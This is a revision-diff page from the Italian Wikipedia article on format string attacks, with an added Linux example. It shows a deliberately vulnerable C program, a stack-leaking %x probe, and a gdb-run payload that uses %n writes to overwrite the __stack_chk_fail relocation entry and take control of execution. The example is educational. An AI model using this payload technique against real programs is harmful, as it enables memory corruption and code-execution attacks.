Format string attack: differenze tra le versioni

Contenuto cancellato Contenuto aggiunto
Abisys (discussione | contributi)
Portale Sicurezza informatica + wiki
Nessun oggetto della modifica
Riga 11:
 
in quanto in questo modo l'input dell'utente non viene validato. La stringa StringPointer potrebbe contenere una serie di specificatori di formato. Questo tipo di attacco, comunque, diventa sempre più difficile grazie alla diffusione di una maggiore consapevolezza della necessità di gestire i rischi associati alla programmazione e alla conseguente diffusione di tecniche di programmazione sicura.
 
=== Esempio (Linux) ===
Dato il seguente programma C (compilato con l'opzione <code>-fstack-protector</code>)
<source lang="text">
#include <stdio.h>
 
main(int argc, char *argv[])
{
char buf[64];
strcpy(buf,argv[1]);
printf(buf);
};
</source>
sia <code>0x0804a010</code> l'indirizzo del record di rilocazione dinamica per la funzione <code>__stack_chk_fail</code>. Dopo aver verificato che l'inizio della stringa di formato è, nello stack, a 8 word (di 4 byte) di distanza dal puntatore a <code>buf</code>
<source lang="text">
# ./a.out `python -c 'print "AAAA" + "_0x%x"*8'`
AAAA_0xbffff9ad_0x0_0x0_0xbffff894_0x0_0x0_0x0_0x41414141
</source>
con
<source lang="text">
gdb --args ./a.out `python -c 'print "\x10\xa0\x04\x08" + "\x12\xa0\x04\x08" + "%16697x%8$n%9$n" + "A"*41 + "!"'`
[...]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
</source>
* scriviamo 2 word di 2 byte (<code>16697 + 8 = 0x4141</code>), agli indirizzi <code>0x0804a010 / 0x0804a012</code>, specificati all'inizio della stringa di formato e raggiunti grazie a <code>%8$n / %9$n</code>
* la chiamata a <code>__stack_chk_fail</code> viene attivata da <code>"!"</code> che sovrascrive il primo byte dello stack canary
* <code>0x41414141</code> è in questo caso un indirizzo non valido, che genera quindi un <code>Segmentation fault</code>.
 
== Collegamenti esterni ==